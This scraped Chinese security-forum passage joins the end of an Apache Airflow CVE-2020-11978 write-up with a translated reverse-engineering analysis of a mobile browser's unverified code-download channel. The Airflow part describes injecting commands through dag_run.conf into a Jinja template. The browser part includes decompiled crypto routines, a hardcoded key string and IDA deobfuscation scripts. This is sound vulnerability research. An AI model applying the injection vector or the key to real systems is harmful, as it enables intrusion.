可以看出Airflow希望通过这两个DAG组合来展示如果通过一个DAG（example_trigger_controller_dag）来动态的调用另外一个DAG（example_trigger_target_dag）。即通过example_trigger_controller_dag内部定义的conf={"message":
"Hello World"}来触发example_trigger_target_dag中bash_command='echo "Here is the
message: \'{{ dag_run.conf["message"] if dag_run else "" }}\'"'的运行，此处看起来：
存在命令执行点'echo "Here is the message: \'{{ dag_run.conf["message"] if dag_run
else "" }}\'"'
这边是Python下面的Jinja模板，因此会根据后面的if...else逻辑来执行dag_run.conf["message"]
来动态加载内容，此处如果dag_run.conf["message"] 可控，则可以通过Jinja模板注入恶意命令。
但根据上面信息可以看出，输入dag_run.conf["message"]由第一个DGA传递过来的，看起来无法控制。而实际上熟悉下Airflow相关代码即可发现，Airflow中`A
DAG Run is an object representing an instantiation of the DAG in time.`而其中conf
正是用于传递参数的方式， Airflow提供了多渠道可以修改conf，包括命令行例如：
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag
同时也包含Web UI 上直接触发任意DAG并传递dag_run.conf：
详细信息可以参考Airflow官方文档中队dag_run的详细说明：
<http://airflow.apache.org/docs/stable/dag-run.html?highlight=dag_run>
因此可以直接利用此接口触发example_trigger_target_dag.py的调度，这样就可以绕过example_trigger_controller_dag中写死的配置。
注意：
要在WEB UI中先执行下启用DAG，然后才可以执行运行，如下所示
# 修复方式
1、升级到1.10.10之后版本
2、删除或禁用默认DAG（可自行删除或在配置文件中禁用默认DAGload_examples=False）
# 时间线
2020-05-31 发现并上报漏洞给Apache Airflow安全团队
2020-06-01 Apache Airflow安全团队确认漏洞
2020-07-10 发布修复版本Airflow
1.10.11（<https://github.com/apache/airflow/releases/tag/1.10.11）>
2020-07-14 分配CVE-2020-11978 | 社区文章 |
# 详细分析一款移动端浏览器安全性
##### 译文声明
本文是翻译文章，文章原作者 habr，文章来源：habr.com
原文地址：<https://habr.com/en/company/drweb/blog/452076/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在3月底时，我们[报告](https://news.drweb.ru/show/?i=13176)了一款移动端浏览器中存在下载并运行未验证代码的潜在漏洞。今天我们将详细分析漏洞成因以及黑客利用该漏洞的具体方式。
我们想知道此浏览器是否存在异常行为，事实证明的确如此。该应用会下载并运行可执行代码，这违背了Google
Play的应用发布策略。浏览器不仅下载可执行代码，整个过程也会被用于MitM（中间人）攻击。接下来我们看一下是否可以通过这种攻击方式利用该应用。
本文研究的浏览器下载自Google Play，版本信息如下：
package: com.UCMobile.intl
versionName: 12.10.8.1172
versionCode: 10598
sha1 APK-file: f5edb2243413c777172f6362876041eb0c3a928c
## 0x01 攻击向量
浏览器的manifest文件中包含名为`com.uc.deployment.UpgradeDeployService`的一个服务：
<service android:exported="false" android:name="com.uc.deployment.UpgradeDeployService" android:process=":deploy" />
当该服务启动时，浏览器会向[puds.ucweb.com/upgrade/index.xhtml](http://puds.ucweb.com/upgrade/index.xhtml)发送请求，我们可以在应用启动后某个时刻观察到相应流量。在响应数据中，浏览器可能会收到下载更新或者下载新模块的指令。在分析过程中，我们从未从服务端收到过这类命令，但我们注意到一点，当用户尝试在浏览器中打开PDF文件时，浏览器会向该地址发送请求，然后下载一个原生（native）库。为了模拟攻击行为，我们决定使用浏览器的这个功能：使用原生库来打开PDF文件，这个原生库并没有在APK文件中，而是下载自互联网。从技术角度上来讲，只要对启动时发送的请求返回正确的响应，浏览器就可以在未经用户授权情况下下载某些数据。为了测试这个猜想，我们需要更加详细研究与服务端的交互协议，我们认为可以hook并修改响应数据，将打开PDF文件所需的原生库替换为其他库，这样操作起来会更加简单。
当用户想通过浏览器直接打开一个PDF文件，我们可以看到包含如下请求的通信数据：
首先，应用会向[puds.ucweb.com/upgrade/index.xhtml](http://puds.ucweb.com/upgrade/index.xhtml)发送一个POST请求，然后下载经过压缩的一个库，该库可以查看PDF文件以及Office文档。从逻辑上讲，我们可以假设第一个请求发送的是关于系统的一些信息（至少包含架构信息，因为服务端需要选择匹配的库），然后服务端会返回待下载库的某些信息，比如下载地址等。这里问题在于该请求经过加密处理。
程序库为ZIP压缩文件，没有加密。
## 0x02 查找通信解密代码
让我们试着解密服务端响应。分析`com.uc.deployment.UpgradeDeployService`类的代码，从`onStartCommand`方法开始，我们依次导航到`com.uc.deployment.b.x`以及`com.uc.browser.core.d.c.f.e`：
public final void e(l arg9) {
int v4_5;
String v3_1;
byte[] v3;
byte[] v1 = null;
if(arg9 == null) {
v3 = v1;
}
else {
v3_1 = arg9.iGX.ipR;
StringBuilder v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]product:");
v4.append(arg9.iGX.ipR);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]version:");
v4.append(arg9.iGX.iEn);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]upgrade_type:");
v4.append(arg9.iGX.mMode);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]force_flag:");
v4.append(arg9.iGX.iEo);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]silent_mode:");
v4.append(arg9.iGX.iDQ);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]silent_type:");
v4.append(arg9.iGX.iEr);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]silent_state:");
v4.append(arg9.iGX.iEp);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]silent_file:");
v4.append(arg9.iGX.iEq);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]apk_md5:");
v4.append(arg9.iGX.iEl);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]download_type:");
v4.append(arg9.mDownloadType);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]download_group:");
v4.append(arg9.mDownloadGroup);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]download_path:");
v4.append(arg9.iGH);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]apollo_child_version:");
v4.append(arg9.iGX.iEx);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]apollo_series:");
v4.append(arg9.iGX.iEw);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]apollo_cpu_arch:");
v4.append(arg9.iGX.iEt);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]apollo_cpu_vfp3:");
v4.append(arg9.iGX.iEv);
v4 = new StringBuilder("[");
v4.append(v3_1);
v4.append("]apollo_cpu_vfp:");
v4.append(arg9.iGX.iEu);
ArrayList v3_2 = arg9.iGX.iEz;
if(v3_2 != null && v3_2.size() != 0) {
Iterator v3_3 = v3_2.iterator();
while(v3_3.hasNext()) {
Object v4_1 = v3_3.next();
StringBuilder v5 = new StringBuilder("[");
v5.append(((au)v4_1).getName());
v5.append("]component_name:");
v5.append(((au)v4_1).getName());
v5 = new StringBuilder("[");
v5.append(((au)v4_1).getName());
v5.append("]component_ver_name:");
v5.append(((au)v4_1).aDA());
v5 = new StringBuilder("[");
v5.append(((au)v4_1).getName());
v5.append("]component_ver_code:");
v5.append(((au)v4_1).gBl);
v5 = new StringBuilder("[");
v5.append(((au)v4_1).getName());
v5.append("]component_req_type:");
v5.append(((au)v4_1).gBq);
}
}
j v3_4 = new j();
m.b(v3_4);
h v4_2 = new h();
m.b(v4_2);
ay v5_1 = new ay();
v3_4.hS("");
v3_4.setImsi("");
v3_4.hV("");
v5_1.bPQ = v3_4;
v5_1.bPP = v4_2;
v5_1.yr(arg9.iGX.ipR);
v5_1.gBF = arg9.iGX.mMode;
v5_1.gBI = arg9.iGX.iEz;
v3_2 = v5_1.gAr;
c.aBh();
v3_2.add(g.fs("os_ver", c.getRomInfo()));
v3_2.add(g.fs("processor_arch", com.uc.b.a.a.c.getCpuArch()));
v3_2.add(g.fs("cpu_arch", com.uc.b.a.a.c.Pb()));
String v4_3 = com.uc.b.a.a.c.Pd();
v3_2.add(g.fs("cpu_vfp", v4_3));
v3_2.add(g.fs("net_type", String.valueOf(com.uc.base.system.a.Jo())));
v3_2.add(g.fs("fromhost", arg9.iGX.iEm));
v3_2.add(g.fs("plugin_ver", arg9.iGX.iEn));
v3_2.add(g.fs("target_lang", arg9.iGX.iEs));
v3_2.add(g.fs("vitamio_cpu_arch", arg9.iGX.iEt));
v3_2.add(g.fs("vitamio_vfp", arg9.iGX.iEu));
v3_2.add(g.fs("vitamio_vfp3", arg9.iGX.iEv));
v3_2.add(g.fs("plugin_child_ver", arg9.iGX.iEx));
v3_2.add(g.fs("ver_series", arg9.iGX.iEw));
v3_2.add(g.fs("child_ver", r.aVw()));
v3_2.add(g.fs("cur_ver_md5", arg9.iGX.iEl));
v3_2.add(g.fs("cur_ver_signature", SystemHelper.getUCMSignature()));
v3_2.add(g.fs("upgrade_log", i.bjt()));
v3_2.add(g.fs("silent_install", String.valueOf(arg9.iGX.iDQ)));
v3_2.add(g.fs("silent_state", String.valueOf(arg9.iGX.iEp)));
v3_2.add(g.fs("silent_file", arg9.iGX.iEq));
v3_2.add(g.fs("silent_type", String.valueOf(arg9.iGX.iEr)));
v3_2.add(g.fs("cpu_archit", com.uc.b.a.a.c.Pc()));
v3_2.add(g.fs("cpu_set", SystemHelper.getCpuInstruction()));
boolean v4_4 = v4_3 == null || !v4_3.contains("neon") ? false : true;
v3_2.add(g.fs("neon", String.valueOf(v4_4)));
v3_2.add(g.fs("cpu_cores", String.valueOf(com.uc.b.a.a.c.Jl())));
v3_2.add(g.fs("ram_1", String.valueOf(com.uc.b.a.a.h.Po())));
v3_2.add(g.fs("totalram", String.valueOf(com.uc.b.a.a.h.OL())));
c.aBh();
v3_2.add(g.fs("rom_1", c.getRomInfo()));
v4_5 = e.getScreenWidth();
int v6 = e.getScreenHeight();
StringBuilder v7 = new StringBuilder();
v7.append(v4_5);
v7.append("*");
v7.append(v6);
v3_2.add(g.fs("ss", v7.toString()));
v3_2.add(g.fs("api_level", String.valueOf(Build$VERSION.SDK_INT)));
v3_2.add(g.fs("uc_apk_list", SystemHelper.getUCMobileApks()));
Iterator v4_6 = arg9.iGX.iEA.entrySet().iterator();
while(v4_6.hasNext()) {
Object v6_1 = v4_6.next();
v3_2.add(g.fs(((Map$Entry)v6_1).getKey(), ((Map$Entry)v6_1).getValue()));
}
v3 = v5_1.toByteArray();
}
if(v3 == null) {
this.iGY.iGI.a(arg9, "up_encode", "yes", "fail");
return;
}
v4_5 = this.iGY.iGw ? 0x1F : 0;
if(v3 == null) {
}
else {
v3 = g.i(v4_5, v3);
if(v3 == null) {
}
else {
v1 = new byte[v3.length + 16];
byte[] v6_2 = new byte[16];
Arrays.fill(v6_2, 0);
v6_2[0] = 0x5F;
v6_2[1] = 0;
v6_2[2] = ((byte)v4_5);
v6_2[3] = -50;
System.arraycopy(v6_2, 0, v1, 0, 16);
System.arraycopy(v3, 0, v1, 16, v3.length);
}
}
if(v1 == null) {
this.iGY.iGI.a(arg9, "up_encrypt", "yes", "fail");
return;
}
if(TextUtils.isEmpty(this.iGY.mUpgradeUrl)) {
this.iGY.iGI.a(arg9, "up_url", "yes", "fail");
return;
}
StringBuilder v0 = new StringBuilder("[");
v0.append(arg9.iGX.ipR);
v0.append("]url:");
v0.append(this.iGY.mUpgradeUrl);
com.uc.browser.core.d.c.i v0_1 = this.iGY.iGI;
v3_1 = this.iGY.mUpgradeUrl;
com.uc.base.net.e v0_2 = new com.uc.base.net.e(new com.uc.browser.core.d.c.i$a(v0_1, arg9));
v3_1 = v3_1.contains("?") ? v3_1 + "&dataver=pb" : v3_1 + "?dataver=pb";
n v3_5 = v0_2.uc(v3_1);
m.b(v3_5, false);
v3_5.setMethod("POST");
v3_5.setBodyProvider(v1);
v0_2.b(v3_5);
this.iGY.iGI.a(arg9, "up_null", "yes", "success");
this.iGY.iGI.b(arg9);
}
可以看到这正是发起POST请求的代码。大家可以看到包含`0x5F`、`0`、`0x1F`、`-50`（`=0xCE`）的16字节数组，这些值与这个请求中的值相同。
这个类中还有一个嵌套类，其中包含另一个有趣的方法：
public final void a(l arg10, byte[] arg11) {
f v0 = this.iGQ;
StringBuilder v1 = new StringBuilder("[");
v1.append(arg10.iGX.ipR);
v1.append("]:UpgradeSuccess");
byte[] v1_1 = null;
if(arg11 == null) {
}
else if(arg11.length < 16) {
}
else {
if(arg11[0] != 0x60 && arg11[3] != 0xFFFFFFD0) {
goto label_57;
}
int v3 = 1;
int v5 = arg11[1] == 1 ? 1 : 0;
if(arg11[2] != 1 && arg11[2] != 11) {
if(arg11[2] == 0x1F) {
}
else {
v3 = 0;
}
}
byte[] v7 = new byte[arg11.length - 16];
System.arraycopy(arg11, 16, v7, 0, v7.length);
if(v3 != 0) {
v7 = g.j(arg11[2], v7);
}
if(v7 == null) {
goto label_57;
}
if(v5 != 0) {
v1_1 = g.P(v7);
goto label_57;
}
v1_1 = v7;
}
label_57:
if(v1_1 == null) {
v0.iGY.iGI.a(arg10, "up_decrypt", "yes", "fail");
return;
}
q v11 = g.b(arg10, v1_1);
if(v11 == null) {
v0.iGY.iGI.a(arg10, "up_decode", "yes", "fail");
return;
}
if(v0.iGY.iGt) {
v0.d(arg10);
}
if(v0.iGY.iGo != null) {
v0.iGY.iGo.a(0, ((o)v11));
}
if(v0.iGY.iGs) {
v0.iGY.a(((o)v11));
v0.iGY.iGI.a(v11, "up_silent", "yes", "success");
v0.iGY.iGI.a(v11);
return;
}
v0.iGY.iGI.a(v11, "up_silent", "no", "success");
}
}
这个方法接收一组输入字节数组，检查第0字节是否为`0x60`或者第3字节是否为`0xD0`，同时第2字节是否为`1`、`11`或者`0x1F`。来看一下服务端响应：第0字节为`0x60`、第2字节为`0x1F`、第3字节为`0x60`，看上去数据满足要求。通过字符串来判断（比如`up_decrypt`），这里应该会调用一个方法来解密服务端响应。现在我们来看一下`g.j`方法。注意到第1个参数为offset为2的一个字节（这里即`0x1F`），并且第2个参数为服务端响应数据（除去前16字节）。
public static byte[] j(int arg1, byte[] arg2) {
if(arg1 == 1) {
arg2 = c.c(arg2, c.adu);
}
else if(arg1 == 11) {
arg2 = m.aF(arg2);
}
else if(arg1 != 0x1F) {
}
else {
arg2 = EncryptHelper.decrypt(arg2);
}
return arg2;
}
显然，代码正在选择解密算法，而`0x1F`这个值为3种匹配选项之一。
回到代码分析上，经过多次跳转后，我们找到了`decryptBytesByKey`这个方法。代码从响应数据中又提取2个字节，形成一个字符串。显然这是选择密钥的过程，用来解密消息。
private static byte[] decryptBytesByKey(byte[] bytes) {
byte[] v0 = null;
if(bytes != null) {
try {
if(bytes.length < EncryptHelper.PREFIX_BYTES_SIZE) {
}
else if(bytes.length == EncryptHelper.PREFIX_BYTES_SIZE) {
return v0;
}
else {
byte[] prefix = new byte[EncryptHelper.PREFIX_BYTES_SIZE]; // 2 байта
System.arraycopy(bytes, 0, prefix, 0, prefix.length);
String keyId = c.ayR().d(ByteBuffer.wrap(prefix).getShort()); // Выбор ключа
if(keyId == null) {
return v0;
}
else {
a v2 = EncryptHelper.ayL();
if(v2 == null) {
return v0;
}
else {
byte[] enrypted = new byte[bytes.length - EncryptHelper.PREFIX_BYTES_SIZE];
System.arraycopy(bytes, EncryptHelper.PREFIX_BYTES_SIZE, enrypted, 0, enrypted.length);
return v2.l(keyId, enrypted);
}
}
}
}
catch(SecException v7_1) {
EncryptHelper.handleDecryptException(((Throwable)v7_1), v7_1.getErrorCode());
return v0;
}
catch(Throwable v7) {
EncryptHelper.handleDecryptException(v7, 2);
return v0;
}
}
return v0;
}
稍微跟进一下，请注意，目前我们看到的只是密钥标识，并不是密钥。密钥选择会更加复杂一些。
在下一个方法中，代码新增了两个参数，因此我们现在总共看到了4个参数：魔术值16、密钥标识、加密数据以及因为某些原因添加的一个字符串（这里字符串为空）。
public final byte[] l(String keyId, byte[] encrypted) throws SecException {
return this.ayJ().staticBinarySafeDecryptNoB64(16, keyId, encrypted, "");
}
经过一系列跳转后，我们看到了`com.alibaba.wireless.security.open.staticdataencrypt.IStaticDataEncryptComponent`接口的`staticBinarySafeDecryptNoB64`方法。主应用代码并没有实现该接口的类，这个类位于`lib/armeabi-v7a/libsgmain.so`中，而该文件并不是`.SO`文件，而是`.JAR`文件。我们所关注方法的具体实现如下所示：
package com.alibaba.wireless.security.a.i;
// ...
public class a implements IStaticDataEncryptComponent {
private ISecurityGuardPlugin a;
// ...
private byte[] a(int mode, int magicInt, int xzInt, String keyId, byte[] encrypted, String magicString) {
return this.a.getRouter().doCommand(10601, new Object[]{Integer.valueOf(mode), Integer.valueOf(magicInt), Integer.valueOf(xzInt), keyId, encrypted, magicString});
}
// ...
private byte[] b(int magicInt, String keyId, byte[] encrypted, String magicString) {
return this.a(2, magicInt, 0, keyId, encrypted, magicString);
}
// ...
public byte[] staticBinarySafeDecryptNoB64(int magicInt, String keyId, byte[] encrypted, String magicString) throws SecException {
if(keyId != null && keyId.length() > 0 && magicInt >= 0 && magicInt < 19 && encrypted != null && encrypted.length > 0) {
return this.b(magicInt, keyId, encrypted, magicString);
}
throw new SecException("", 301);
}
//...
}
这里我们又看到了2个新增整数参数：`2`以及`0`。与`javax.crypto.Cipher`系统类的`doFinal`方法一样，这里2表示解密操作。然后，该信息会与`10601`一起发送到某个`Router`（`10601`显然是一个命令编号）。
在接下来的跳转链之后，我们又找到了实现`RouterComponent`接口以及`doCommand`方法的一个类：
package com.alibaba.wireless.security.mainplugin;
import com.alibaba.wireless.security.framework.IRouterComponent;
import com.taobao.wireless.security.adapter.JNICLibrary;
public class a implements IRouterComponent {
public a() {
super();
}
public Object doCommand(int arg2, Object[] arg3) {
return JNICLibrary.doCommandNative(arg2, arg3);
}
}
还有一个`JNICLibrary`类，其中声明了`doCommandNative`方法：
package com.taobao.wireless.security.adapter;
public class JNICLibrary {
public static native Object doCommandNative(int arg0, Object[] arg1);
}
因此，我们需要在原生代码中找到`doCommandNative`方法，从这开始事情逐渐变得有趣起来。
## 0x03 混淆机器码
在`libsgmain.so`文件中包含一个原生库（`libsgmain.so`实际上是一个`.JAR`文件，其中实现了与加密有关的接口）：`libsgmainso-6.4.36.so`。在IDA中加载该库后，我们看到了一堆错误消息提示框，问题在于section头表无效。开发人员采用这种方式来进一步提高逆向分析难度。
但我们并不需要这个信息，程序头表对我们而言已经足够，可以正确加载并分析ELF文件。因此我们可以简单删除section头表，将头部中对应的字段置空。
然后再次在IDA中打开该文件。
我们有两种方法能告诉Java虚拟机哪个原生库包含代码中声明的原生代码的具体实现。第一种方法就是采用`Java_package_name_ClassName_methodName`之类的名字，第二种方法是调用`RegisterNatives`函数，在加载库的时候进行注册（在`JNI_OnLoad`函数中）。对于这个案例，如果我们使用第一种方法，那么函数名应该类似于`Java_com_taobao_wireless_security_adapter_JNICLibrary_doCommandNative`。在导出函数中我们找不到这个名字，这意味着我们需要查找`RegisterNatives`。因此，我们转到`JNI_OnLoad`函数，看到如下代码：
这里代码执行了哪些逻辑？初步分析时，函数头以及函数尾都是典型的ARM架构。第一条指令会将函数需要使用的寄存器值push到栈中（这里为`R0`、`R1`、`R2`以及`LR`，用来保存函数返回地址）。最后一条指令恢复已保存的寄存器值，将返回地址存到PC寄存器中，然后返回函数。但如果我们仔细分析，可能会注意到倒数第二条指令改变了返回地址。来计算一下代码执行后返回地址的值。该地址加载自`R1`（`0xB130`），减去`5`，然后被`mov`到`R0`，再加上`0x10`，最后这个值等于`0xB13B`。因此，IDA认为最终指令执行的是正常的函数返回操作，然而实际上会跳转到`0xB13B`这个地址。
这里需要注意的是，ARM处理器有两个型号以及两组指令：ARM以及Thumb。地址的低位用来决定处理器会使用哪一组指令集。这里地址为`0xB13A`，因此对应的是Thumb模式。
在这个库中，每个函数开头处都添加了类似的语句以及某些垃圾代码，这里我们不会详细分析这些内容，只要记住几乎所有函数的实际代码都离函数开头有一段距离。
由于已有代码中没有显式转换到`0xB13A`，因此IDA无法识别该地址处的代码。同样，IDA也没有将库中的大部分数据识别为代码，这样我们分析起来需要稍微用点技巧。因此，我们手动告诉IDA代码位置，然后得到如下结果：
从`0xB144`开始，我们可以清楚看到表结构，但`sub_494C`是什么？
当在`LR`寄存器中调用该函数时，我们得到了前面看到的那张表的地址（`0xB144`）。`R0`包含表中的索引。也就是说，我们从表中提取值，将其加到`LR`中，然后获得我们需要跳转的地址。来计算一下：`0xB144
+ [0xB144 + 8 * 4] = 0xB144 + 0x120 = 0xB264`。我们转到该地址，看到一些有用的指令，然后转到`0xB140`：
现在这里可以看到到地址转换涉及到表`0x20`索引处的值，根据表的大小，我们可以猜到代码中有多处这类转换。因此我们希望能够自动处理这种转换，避免手动计算地址。我们可以在IDA中使用脚本来patch代码：
def put_unconditional_branch(source, destination):
offset = (destination - source - 4) >> 1
if offset > 2097151 or offset < -2097152:
raise RuntimeError("Invalid offset")
if offset > 1023 or offset < -1024:
instruction1 = 0xf000 | ((offset >> 11) & 0x7ff)
instruction2 = 0xb800 | (offset & 0x7ff)
patch_word(source, instruction1)
patch_word(source + 2, instruction2)
else:
instruction = 0xe000 | (offset & 0x7ff)
patch_word(source, instruction)
ea = here()
if get_wide_word(ea) == 0xb503: #PUSH {R0,R1,LR}
ea1 = ea + 2
if get_wide_word(ea1) == 0xbf00: #NOP
ea1 += 2
if get_operand_type(ea1, 0) == 1 and get_operand_value(ea1, 0) == 0 and get_operand_type(ea1, 1) == 2:
index = get_wide_dword(get_operand_value(ea1, 1))
print "index =", hex(index)
ea1 += 2
if get_operand_type(ea1, 0) == 7:
table = get_operand_value(ea1, 0) + 4
elif get_operand_type(ea1, 1) == 2:
table = get_operand_value(ea1, 1) + 4
else:
print "Wrong operand type on", hex(ea1), "-", get_operand_type(ea1, 0), get_operand_type(ea1, 1)
table = None
if table is None:
print "Unable to find table"
else:
print "table =", hex(table)
offset = get_wide_dword(table + (index << 2))
put_unconditional_branch(ea, table + offset)
else:
print "Unknown code", get_operand_type(ea1, 0), get_operand_value(ea1, 0), get_operand_type(ea1, 1) == 2
else:
print "Unable to detect first instruction"
将光标定到`0xB26A`字符串，运行脚本，可以看到跳转至`0xB4B0`的指令：
同样，IDA无法将这个位置的数据识别为代码。帮IDA调整后，我们可以看到另一个结构：
`BLX`之后的指令看起来意义不清，更像是某类偏移。来看一下`sub_4964`：
实际上，代码获取`LR`处提取一个`DWORD`，将其加到这个地址，然后提取结果地址处的值，将其存入栈中。此外，从函数返回后，代码将`LR`与4相加以便跳转到同一个offset，然后利用`POP
{R1}`命令从栈中提取结果值。观察位于`0xB4BA + 0xEA = 0xB5A4`地址处的数据，我们可以看到与地址表类似的某些内容：
为了patch这个结构，我们需要从代码中提取两个参数：offset值以及待存入结果的寄存器编号。我们必须提前为每个可能使用的寄存器准备一段代码。
patches = {}
patches[0] = (0x00, 0xbf, 0x01, 0x48, 0x00, 0x68, 0x02, 0xe0)
patches[1] = (0x00, 0xbf, 0x01, 0x49, 0x09, 0x68, 0x02, 0xe0)
patches[2] = (0x00, 0xbf, 0x01, 0x4a, 0x12, 0x68, 0x02, 0xe0)
patches[3] = (0x00, 0xbf, 0x01, 0x4b, 0x1b, 0x68, 0x02, 0xe0)
patches[4] = (0x00, 0xbf, 0x01, 0x4c, 0x24, 0x68, 0x02, 0xe0)
patches[5] = (0x00, 0xbf, 0x01, 0x4d, 0x2d, 0x68, 0x02, 0xe0)
patches[8] = (0x00, 0xbf, 0xdf, 0xf8, 0x06, 0x80, 0xd8, 0xf8, 0x00, 0x80, 0x01, 0xe0)
patches[9] = (0x00, 0xbf, 0xdf, 0xf8, 0x06, 0x90, 0xd9, 0xf8, 0x00, 0x90, 0x01, 0xe0)
patches[10] = (0x00, 0xbf, 0xdf, 0xf8, 0x06, 0xa0, 0xda, 0xf8, 0x00, 0xa0, 0x01, 0xe0)
patches[11] = (0x00, 0xbf, 0xdf, 0xf8, 0x06, 0xb0, 0xdb, 0xf8, 0x00, 0xb0, 0x01, 0xe0)
ea = here()
if (get_wide_word(ea) == 0xb082 #SUB SP, SP, #8
and get_wide_word(ea + 2) == 0xb503): #PUSH {R0,R1,LR}
if get_operand_type(ea + 4, 0) == 7:
pop = get_bytes(ea + 12, 4, 0)
if pop[1] == 'xbc':
register = -1
r = get_wide_byte(ea + 12)
for i in range(8):
if r == (1 << i):
register = i
break
if register == -1:
print "Unable to detect register"
else:
address = get_wide_dword(ea + 8) + ea + 8
for b in patches[register]:
patch_byte(ea, b)
ea += 1
if ea % 4 != 0:
ea += 2
patch_dword(ea, address)
elif pop[:3] == 'x5dxf8x04':
register = ord(pop[3]) >> 4
if register in patches:
address = get_wide_dword(ea + 8) + ea + 8
for b in patches[register]:
patch_byte(ea, b)
ea += 1
patch_dword(ea, address)
else:
print "POP instruction not found"
else:
print "Wrong operand type on +4:", get_operand_type(ea + 4, 0)
else:
print "Unable to detect first instructions"
将光标定位到我们想替换的结构的头部（即`0xB4B2`），然后运行如上脚本：
除了前面提到的结构之外，我们还可以看到如下代码：
与前文类似，`BLX`指令后还有一个offset：
从`LR`寄存器处提取offset地址值，转到该地址。`0x72044 + 0xC = 0x72050`。处理该结构的脚本非常简单：
def put_unconditional_branch(source, destination):
offset = (destination - source - 4) >> 1
if offset > 2097151 or offset < -2097152:
raise RuntimeError("Invalid offset")
if offset > 1023 or offset < -1024:
instruction1 = 0xf000 | ((offset >> 11) & 0x7ff)
instruction2 = 0xb800 | (offset & 0x7ff)
patch_word(source, instruction1)
patch_word(source + 2, instruction2)
else:
instruction = 0xe000 | (offset & 0x7ff)
patch_word(source, instruction)
ea = here()
if get_wide_word(ea) == 0xb503: #PUSH {R0,R1,LR}
ea1 = ea + 6
if get_wide_word(ea + 2) == 0xbf00: #NOP
ea1 += 2
offset = get_wide_dword(ea1)
put_unconditional_branch(ea, (ea1 + offset) & 0xffffffff)
else:
print "Unable to detect first instruction"
执行脚本后的结果如下所示：
patch该函数后，我们可以指引IDA找到函数的真实代码。IDA会逐一收集所有函数代码，然后我们就可以使用HexRays来反编译代码。
## 0x04 解密字符串
前面我们已经知道如何处理浏览器`libsgmainso-6.4.36.so`库中经过混淆的机器码，提取了`JNI_OnLoad`的函数代码。
int __fastcall real_JNI_OnLoad(JavaVM *vm)
{
int result; // r0
jclass clazz; // r0 MAPDST
int v4; // r0
JNIEnv *env; // r4
int v6; // [sp-40h] [bp-5Ch]
int v7; // [sp+Ch] [bp-10h]
v7 = *(_DWORD *)off_8AC00;
if ( !vm )
goto LABEL_39;
sub_7C4F4();
env = (JNIEnv *)sub_7C5B0(0);
if ( !env )
goto LABEL_39;
v4 = sub_72CCC();
sub_73634(v4);
sub_73E24(&unk_83EA6, &v6, 49);
clazz = (jclass)((int (__fastcall *)(JNIEnv *, int *))(*env)->FindClass)(env, &v6);
if ( clazz
&& (sub_9EE4(),
sub_71D68(env),
sub_E7DC(env) >= 0
&& sub_69D68(env) >= 0
&& sub_197B4(env, clazz) >= 0
&& sub_E240(env, clazz) >= 0
&& sub_B8B0(env, clazz) >= 0
&& sub_5F0F4(env, clazz) >= 0
&& sub_70640(env, clazz) >= 0
&& sub_11F3C(env) >= 0
&& sub_21C3C(env, clazz) >= 0
&& sub_2148C(env, clazz) >= 0
&& sub_210E0(env, clazz) >= 0
&& sub_41B58(env, clazz) >= 0
&& sub_27920(env, clazz) >= 0
&& sub_293E8(env, clazz) >= 0
&& sub_208F4(env, clazz) >= 0) )
{
result = (sub_B7B0(env, clazz) >> 31) | 0x10004;
}
else
{
LABEL_39:
result = -1;
}
return result;
}
来看一下如下字符串：
sub_73E24(&unk_83EA6, &v6, 49);
clazz = (jclass)((int (__fastcall *)(JNIEnv *, int *))(*env)->FindClass)(env, &v6);
显然`sub_73E24`函数会解密类名。该函数的参数包含指向加密数据的某个指针、某种缓冲区以及某个数值。显然，在调用该函数后，由于`FindClass`函数会使用该缓冲区，因此解密后的字符串会存放到该缓冲区中。因此这个数值是缓冲区的大小或者字符串的长度。让我们尝试解密类名，这样可以让我们知道自己是否朝着正确的方向前进。接下来仔细分析`sub_73E24`的代码逻辑。
int __fastcall sub_73E56(unsigned __int8 *in, unsigned __int8 *out, size_t size)
{
int v4; // r6
int v7; // r11
int v8; // r9
int v9; // r4
size_t v10; // r5
int v11; // r0
struc_1 v13; // [sp+0h] [bp-30h]
int v14; // [sp+1Ch] [bp-14h]
int v15; // [sp+20h] [bp-10h]
v4 = 0;
v15 = *(_DWORD *)off_8AC00;
v14 = 0;
v7 = sub_7AF78(17);
v8 = sub_7AF78(size);
if ( !v7 )
{
v9 = 0;
goto LABEL_12;
}
(*(void (__fastcall **)(int, const char *, int))(v7 + 12))(v7, "DcO/lcK+h?m3c*q@", 16);
if ( !v8 )
{
LABEL_9:
v4 = 0;
goto LABEL_10;
}
v4 = 0;
if ( !in )
{
LABEL_10:
v9 = 0;
goto LABEL_11;
}
v9 = 0;
if ( out )
{
memset(out, 0, size);
v10 = size - 1;
(*(void (__fastcall **)(int, unsigned __int8 *, size_t))(v8 + 12))(v8, in, v10);
memset(&v13, 0, 0x14u);
v13.field_4 = 3;
v13.field_10 = v7;
v13.field_14 = v8;
v11 = sub_6115C(&v13, &v14);
v9 = v11;
if ( v11 )
{
if ( *(_DWORD *)(v11 + 4) == v10 )
{
qmemcpy(out, *(const void **)v11, v10);
v4 = *(_DWORD *)(v9 + 4);
}
else
{
v4 = 0;
}
goto LABEL_11;
}
goto LABEL_9;
}
LABEL_11:
sub_7B148(v7);
LABEL_12:
if ( v8 )
sub_7B148(v8);
if ( v9 )
sub_7B148(v9);
return v4;
}
